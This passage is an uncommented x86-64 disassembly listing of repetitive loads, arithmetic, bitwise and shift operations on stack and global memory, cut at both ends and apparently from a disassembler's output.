mov rcx, qword [rsp + 0xbf60]
mov byte [rcx], al
lea rax, [rsp + 0x1290]
mov qword [rsp + 0xc340], rax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x1164]
sar eax, cl
mov word [rsp + 0x12f4], ax
movsx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0xb528]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaf88]
mov byte [rcx], al
lea rax, [0x1401e7028]
mov qword [rsp + 0xc348], rax
mov rax, qword [rsp + 0xb500]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbd00]
shl rax, cl
mov rcx, qword [rsp + 0x9a88]
mov qword [rcx], rax
lea rax, [rsp + 0x50fc]
mov qword [rsp + 0xc350], rax
mov rax, qword [rsp + 0x9f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fa8], eax
mov rax, qword [rsp + 0xa4b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x114c]
add eax, ecx
mov rcx, qword [0x1401e8a80]
mov word [rcx], ax
movzx eax, word [rsp + 0xff8]
mov rcx, qword [0x1401e8cb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb818]
mov word [rcx], ax
lea rax, [rsp + 0x12a]
mov qword [rsp + 0xc358], rax
mov rax, qword [rsp + 0xb9e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1398]
and eax, ecx
mov rcx, qword [rsp + 0xa2d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x92e0]
movzx eax, word [rax]
mov word [rsp + 0x1630], ax
mov rax, qword [rsp + 0xb3b0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4a0], rax
mov rax, qword [rsp + 0xbe00]
mov rcx, qword [rsp + 0x9760]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5180], eax
lea rax, [rsp + 0x5404]
mov qword [rsp + 0xc360], rax
mov rax, qword [rsp + 0x9610]
mov rcx, qword [rsp + 0x9ac0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbb38], rax
lea rax, [rsp + 0x155]
mov qword [0x1401e8e98], rax
mov rax, qword [rsp + 0x9060]
movzx eax, byte [rax]
mov byte [rsp + 0x20f], al
movzx eax, byte [rsp + 0x141]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb098]
mov byte [rcx], al
movzx eax, word [rsp + 0x1094]
mov word [rsp + 0x1634], ax
movzx eax, word [rsp + 0x11ac]
movzx ecx, word [rsp + 0x1480]
add eax, ecx
mov rcx, qword [rsp + 0xb8e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x53a8]
mov ecx, dword [rsp + 0x51f0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe08]
mov dword [rcx], eax
lea rax, [rsp + 0x51c0]
mov qword [rsp + 0xc368], rax
mov rax, qword [rsp + 0xafc0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaee8]
sar rax, cl
mov qword [rsp + 0xb638], rax
lea rax, [rsp + 0xb400]
mov qword [rsp + 0xc370], rax
mov rax, qword [rsp + 0x98d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x129c]
shl eax, cl
mov word [0x1401e8908], ax
movzx eax, byte [rsp + 0x207]
mov rcx, qword [rsp + 0xb178]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x74], al
movsx eax, byte [0x1401e888a]
movsx ecx, byte [rsp + 0x123]
and eax, ecx
mov rcx, qword [rsp + 0xb0b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xf6]
mov byte [rsp + 0x210], al
movzx eax, word [rsp + 0x1214]
mov rcx, qword [rsp + 0xbaa8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x97f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc330]
mov eax, dword [rax]
mov dword [rsp + 0x5438], eax
mov rax, qword [rsp + 0x8fc8]
mov rcx, qword [rsp + 0x93e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbcf0]
mov rcx, qword [rsp + 0xa380]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x95e8]
mov qword [rcx], rax
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x543c], eax
mov rax, qword [rsp + 0x8e00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a3]
sub eax, ecx
mov rcx, qword [rsp + 0xc168]
mov byte [rcx], al
mov rax, qword [rsp + 0x92e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa230]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e717c], ax
lea rax, [rsp + 0x13e0]
mov qword [rsp + 0xc378], rax
movzx eax, byte [rsp + 0x1b1]
movzx ecx, byte [rsp + 0xbd]
sub eax, ecx
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x92e0]
movzx eax, word [rax]
mov word [rsp + 0x1638], ax
mov rax, qword [rsp + 0xa798]
mov rcx, qword [rsp + 0x9098]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb170]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa200]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbcc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9198]
mov qword [rsp + 0xc380], rax
mov eax, dword [rsp + 0x50e8]
mov ecx, dword [0x1401e7004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50c8], eax
lea rax, [rsp + 0x1054]
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90a8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [str._DM_b], al
movsx eax, byte [rsp + 0x73]
mov rcx, qword [rsp + 0xb688]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xb7], al
movzx eax, word [rsp + 0x1220]
mov rcx, qword [rsp + 0x9788]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9cb8]
mov word [rcx], ax
lea rax, [rsp + 0x1b4]
mov qword [rsp + 0xc390], rax
mov rax, qword [rsp + 0xb640]
mov rcx, qword [rsp + 0xa8b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc2e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbbe8]
mov rax, qword [rax]
mov qword [rsp + 0xc398], rax
mov rax, qword [rsp + 0xb188]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbfc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9620]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaaa8]
mov dword [rcx], eax
lea rax, [rsp + 0x1334]
mov qword [rsp + 0xc3a0], rax
movzx eax, byte [rsp + 0xa2]
movzx ecx, byte [0x1401e7073]
sub eax, ecx
mov rcx, qword [0x1401e8d98]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15c8]
sub eax, ecx
mov rcx, qword [rsp + 0xc108]
mov word [rcx], ax
lea rax, [rsp + 0x209]
mov qword [rsp + 0xc3a8], rax
movsx eax, byte [rsp + 0xf3]
movsx ecx, byte [0x1401e705a]
add eax, ecx
mov byte [rsp + 0x1f2], al
mov rax, qword [rsp + 0x94f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5260]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov dword [rcx], eax
lea rax, [rsp + 0xa9c0]
mov qword [rsp + 0xc3b0], rax
mov rax, qword [rsp + 0xbcf0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ff0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f1c]
mov dword [rsp + 0x5440], eax
mov rax, qword [rsp + 0xc378]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9be8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1324], ax
movsx eax, word [0x1401e70f8]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7180], ax
lea rax, [rsp + 0x163]
mov qword [rsp + 0xc3b8], rax
movsx eax, byte [rsp + 0x139]
mov rcx, qword [rsp + 0xc138]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0xae50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1248], ax
movzx eax, word [rsp + 0x1564]
mov word [rsp + 0x163c], ax
mov rax, qword [rsp + 0xa590]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0xc3c0], rax
mov rax, qword [rsp + 0xa5d0]
mov rcx, qword [rsp + 0xb170]
mov qword [rsp + 0xc3c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa3f0], rax
mov rax, qword [rsp + 0x98f8]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9bf0], rax
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0xbce0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e8bb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe28]
movzx eax, byte [rax]
mov byte [rsp + 0x211], al
movzx eax, byte [rsp + 0x1c2]
movzx ecx, byte [0x1401e8795]
sub eax, ecx
mov rcx, qword [rsp + 0x9e90]
mov byte [rcx], al
movzx eax, word [rsp + 0x150c]
mov word [rsp + 0x1640], ax
mov rax, qword [rsp + 0xa218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x145]
sub eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xaa90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5114]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x517c], eax
lea rax, [rsp + 0x9b08]
mov qword [rsp + 0xc3d0], rax
mov rax, qword [rsp + 0xb340]
mov rcx, qword [rsp + 0xc338]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9cc8], rax
lea rax, [rsp + 0x52e4]
mov qword [rsp + 0xc3d8], rax
mov rax, qword [rsp + 0xc1e0]
movzx eax, word [rax]
mov word [0x1401e8ea0], ax
mov rax, qword [rsp + 0x9be8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc3a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa958]
mov word [rcx], ax
lea rax, [rsp + 0x136c]
mov qword [rsp + 0xc3e0], rax
movsx eax, byte [0x1401e7092]
movsx ecx, byte [rsp + 0x16d]
sub eax, ecx
mov byte [rsp + 0x1b4], al
movzx eax, byte [rsp + 0x184]
mov rcx, qword [rsp + 0xb6d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0xac98]
mov qword [rsp + 0xc3e8], rax
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0x8d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d50], eax
lea rax, [rsp + 0x4fa0]
mov qword [rsp + 0xc3f0], rax
mov rax, qword [rsp + 0xbdc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa700], rax
lea rax, [rsp + 0x154]
mov qword [0x1401e8ea8], rax
mov rax, qword [rsp + 0xb6d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9f]
sar eax, cl
mov byte [rsp + 0x13a], al
lea rax, [rsp + 0x11bc]
mov qword [rsp + 0xc3f8], rax
mov rax, qword [rsp + 0x9448]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ae0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x146], al
movzx eax, word [rsp + 0x11a4]
mov word [rsp + 0x1644], ax
mov rax, qword [rsp + 0xbc88]
mov rcx, qword [rsp + 0x92f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb7c8], rax
mov rax, qword [rsp + 0xb5c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5050]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb408]
mov dword [rcx], eax
lea rax, [rsp + 0x9ec8]
mov qword [rsp + 0xc400], rax
mov rax, qword [rsp + 0x92b8]
mov rcx, qword [rsp + 0xb5b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x518c], eax
mov rax, qword [0x1401e8ad0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8c40]
mov byte [rcx], al
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0x212], al
mov rax, qword [rsp + 0xbac8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb148]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb010]
mov word [rcx], ax
movzx eax, word [rsp + 0x1574]
movzx ecx, word [rsp + 0x14a8]
add eax, ecx
mov rcx, qword [rsp + 0xb618]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe78]
movzx eax, word [rax]
mov word [rsp + 0x1648], ax
mov rax, qword [rsp + 0xbd70]
mov ecx, dword [rsp + 0x5154]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5010], eax
lea rax, [0x1401e7010]
mov qword [rsp + 0xc408], rax
mov rax, qword [rsp + 0xbc70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9808]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9d8]
mov qword [rsp + 0xc410], rax
mov rax, qword [rsp + 0xc220]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e87e3]
add eax, ecx
mov byte [0x1401e70c2], al
movzx eax, word [rsp + 0x112c]
mov rcx, qword [rsp + 0x8e80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1440], ax
mov rax, qword [rsp + 0xa128]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1364]
and eax, ecx
mov word [rsp + 0x148c], ax
lea rax, [rsp + 0x14c]
mov qword [rsp + 0xc418], rax
mov rax, qword [rsp + 0xa3a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ce8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb8d8]
mov byte [rcx], al
lea rax, [rsp + 0x53a0]
mov qword [rsp + 0xc420], rax
mov rax, qword [rsp + 0xacb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb5b8]
mov qword [rsp + 0xc428], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc428]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5304], eax
mov rax, qword [rsp + 0xb628]
mov rcx, qword [rsp + 0x9c98]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xac38], rax
lea rax, [rsp + 0xab48]
mov qword [rsp + 0xc430], rax
movsx eax, byte [0x1401e87a7]
movsx ecx, byte [rsp + 0x86]
or eax, ecx
mov rcx, qword [0x1401e8810]
mov byte [rcx], al
movsx eax, word [rsp + 0x1068]
movsx ecx, word [rsp + 0x153c]
add eax, ecx
mov rcx, qword [rsp + 0x9240]
mov word [rcx], ax
lea rax, [rsp + 0x72]
mov qword [rsp + 0xc438], rax
mov rax, qword [rsp + 0x9288]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17a]
add eax, ecx
mov rcx, qword [rsp + 0xbe48]
mov byte [rcx], al
movzx eax, word [rsp + 0x145c]
movzx ecx, word [rsp + 0x1300]
and eax, ecx
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
mov rax, qword [rsp + 0xb7b8]
mov rax, qword [rax]
mov qword [rsp + 0xc440], rax
mov rax, qword [rsp + 0xa610]
mov ecx, dword [rsp + 0x4f08]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f34], eax
mov eax, dword [rsp + 0x503c]
mov dword [rsp + 0x5444], eax
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0x8de0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x94a0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1348]
movsx ecx, word [rsp + 0x128c]
sub eax, ecx
mov word [0x1401e7184], ax
mov rax, qword [rsp + 0x9e80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1338]
sub eax, ecx
mov word [rsp + 0x11e4], ax
lea rax, [0x1401e87e4]
mov qword [rsp + 0xc448], rax
mov rax, qword [rsp + 0x9e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
sub eax, ecx
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0x95f0]
movzx eax, word [rax]
mov word [rsp + 0x164c], ax
mov rax, qword [rsp + 0x9538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x512c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc228]
mov eax, dword [rax]
mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0xa800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba38], rax
mov rax, qword [rsp + 0xa868]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa9b0]
mov qword [rcx], rax
lea rax, [rsp + 0xf2]
mov qword [rsp + 0xc450], rax
mov rax, qword [rsp + 0xa9c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d48]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401e8c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1280]
sar eax, cl
mov rcx, qword [rsp + 0xb440]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x213], al
mov rax, qword [rsp + 0xb528]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xab58]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x9748]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9698], rax
mov rax, qword [rsp + 0xb1e8]
mov rax, qword [rax]
mov qword [rsp + 0xc458], rax
mov rax, qword [rsp + 0x9140]
mov rcx, qword [rsp + 0x9498]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4db4], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0xc460], rax
movzx eax, word [rsp + 0x152c]
mov rcx, qword [rsp + 0xb190]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11e4], ax
movzx eax, byte [rsp + 0xf5]
mov byte [0x1401e88c5], al
movzx eax, word [rsp + 0x14b0]
movzx ecx, word [rsp + 0x142c]
add eax, ecx
mov word [rsp + 0x13ec], ax
lea rax, [rsp + 0x1544]
mov qword [rsp + 0xc468], rax
mov rax, qword [rsp + 0x9248]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a9]
and eax, ecx
mov rcx, qword [rsp + 0x9dc8]
mov byte [rcx], al
lea rax, [rsp + 0x4ec0]
mov qword [rsp + 0xc470], rax
mov rax, qword [rsp + 0xb448]
mov rcx, qword [rsp + 0x9228]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc2b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9800]
mov qword [rsp + 0xc478], rax
mov rax, qword [rsp + 0x8d38]
mov ecx, dword [rsp + 0x50d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x525c], eax
mov rax, qword [rsp + 0x9d20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14ac]
sub eax, ecx
mov word [rsp + 0x1058], ax
mov rax, qword [rsp + 0xb9a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc3a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e706f], al
movzx eax, word [0x1401e8cd0]
mov word [rsp + 0x1650], ax
mov rax, qword [rsp + 0xc020]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1314]
sub eax, ecx
mov word [rsp + 0x11fc], ax
lea rax, [rsp + 0x100]
mov qword [rsp + 0xc480], rax
mov rax, qword [0x1401e7028]
movzx ecx, al
mov rax, qword [rsp + 0x9320]
sar rax, cl
mov qword [rsp + 0xad00], rax
mov rax, qword [rsp + 0xbe50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f74]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9bc0]
mov eax, dword [rax]
mov dword [rsp + 0x544c], eax
mov rax, qword [rsp + 0xb500]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa98], rax
movzx eax, byte [rsp + 0x12d]
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0xc180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd28]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e7188], ax
mov rax, qword [0x1401e8948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa818]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa008]
mov word [rcx], ax
movsx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0xb4a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x126], al
lea rax, [rsp + 0x1a6]
mov qword [rsp + 0xc488], rax
movsx eax, byte [rsp + 0x1da]
movsx ecx, byte [rsp + 0x19b]
add eax, ecx
mov byte [rsp + 0x1f1], al
lea rax, [rsp + 0xaa00]
mov qword [rsp + 0xc490], rax
mov rax, qword [rsp + 0x8f18]
mov rcx, qword [rsp + 0xa390]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ed0], eax
mov rax, qword [rsp + 0xb488]
mov rcx, qword [rsp + 0x9128]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9440], rax
mov eax, dword [rsp + 0x5354]
mov dword [rsp + 0x5450], eax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1190]
and eax, ecx
mov word [0x1401e703c], ax
mov rax, qword [rsp + 0xa0a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d60]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbe48]
mov byte [rcx], al
movzx eax, word [rsp + 0x11e8]
mov word [rsp + 0x1654], ax
mov rax, qword [rsp + 0xab08]
movsx eax, word [rax]
movsx ecx, word [0x1401e716c]
add eax, ecx
mov rcx, qword [rsp + 0xb010]
mov word [rcx], ax
movzx eax, word [rsp + 0x1384]
mov word [rsp + 0x1658], ax
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xadf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa328], rax
mov rax, qword [rsp + 0xb928]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc370]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa280]
mov eax, dword [rax]
mov dword [rsp + 0x5454], eax
mov eax, dword [rsp + 0x52b0]
movzx ecx, al
mov eax, dword [rsp + 0x5438]
shl eax, cl
mov dword [rsp + 0x505c], eax
mov rax, qword [rsp + 0xb858]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x106]
xor eax, ecx
mov rcx, qword [0x1401e8b90]
mov byte [rcx], al
lea rax, [rsp + 0x1634]
mov qword [rsp + 0xc498], rax
movzx eax, word [rsp + 0x14fc]
mov rcx, qword [rsp + 0xc188]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x11c0], ax
movzx eax, byte [0x1401e888c]
movzx ecx, byte [rsp + 0x9b]
or eax, ecx
mov rcx, qword [rsp + 0xb330]
mov byte [rcx], al
mov rax, qword [rsp + 0xb848]
movzx eax, byte [rax]
mov byte [rsp + 0x215], al
mov eax, dword [rsp + 0x51c8]
mov ecx, dword [rsp + 0x5178]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9940]
mov dword [rcx], eax
lea rax, [rsp + 0x509c]
mov qword [rsp + 0xc4a0], rax
mov rax, qword [rsp + 0xbf20]
mov rcx, qword [rsp + 0xbb08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbd90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0x90e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb3b0]
mov qword [rcx], rax
lea rax, [0x1401e70c0]
mov qword [0x1401e8eb0], rax
lea rax, [rsp + 0xf1]
mov qword [rsp + 0xc4a8], rax
movzx eax, word [rsp + 0x11c0]
mov rcx, qword [rsp + 0x8e48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1064], ax
mov rax, qword [rsp + 0xace8]
movzx eax, byte [rax]
mov byte [rsp + 0x216], al
mov rax, qword [0x1401e8a38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18c]
add eax, ecx
mov rcx, qword [rsp + 0xb718]
mov byte [rcx], al
lea rax, [rsp + 0x9c28]
mov qword [rsp + 0xc4b0], rax
mov rax, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0xb110]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa2d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb370]
mov rcx, qword [rsp + 0x9c90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov dword [rcx], eax
lea rax, [rsp + 0x5058]
mov qword [rsp + 0xc4b8], rax
mov rax, qword [rsp + 0xacf8]
movsx eax, word [rax]
movsx ecx, word [0x1401e7040]
add eax, ecx
mov word [0x1401e718c], ax
mov rax, qword [rsp + 0xa938]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0xa6c8]
movzx eax, byte [rax]
mov byte [rsp + 0x217], al
mov rax, qword [rsp + 0xc140]
movzx eax, word [rax]
movzx ecx, word [0x1401e89e8]
add eax, ecx
mov rcx, qword [rsp + 0xa678]
mov word [rcx], ax
mov rax, qword [rsp + 0xc220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x207], al
lea rax, [rsp + 0x4f04]
mov qword [rsp + 0xc4c0], rax
mov rax, qword [rsp + 0xae10]
movzx ecx, al
mov rax, qword [rsp + 0xc200]
shl rax, cl
mov rcx, qword [rsp + 0x9e38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e98]
mov qword [rsp + 0xc4c8], rax
mov eax, dword [rsp + 0x50bc]
movzx ecx, al
mov eax, dword [rsp + 0x5354]
sar eax, cl
mov dword [rsp + 0x4f50], eax
mov rax, qword [0x1401e8c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x101c]
or eax, ecx
mov word [0x1401e7048], ax
mov rax, qword [rsp + 0xab50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x217]
and eax, ecx
mov byte [rsp + 0x193], al
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x218], al
movsx eax, byte [rsp + 0xd7]
movsx ecx, byte [rsp + 0x172]
sub eax, ecx
mov byte [rsp + 0x9d], al
lea rax, [rsp + 0x15dc]
mov qword [rsp + 0xc4d0], rax
mov rax, qword [rsp + 0x8e40]
mov rcx, qword [rsp + 0xc0c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa388]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a60]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cc0], rax
lea rax, [rsp + 0x4f50]
mov qword [rsp + 0xc4d8], rax
mov eax, dword [rsp + 0x511c]
mov ecx, dword [rsp + 0x4e94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb888]
mov dword [rcx], eax
movsx eax, word [rsp + 0x11f4]
mov rcx, qword [rsp + 0xabb8]
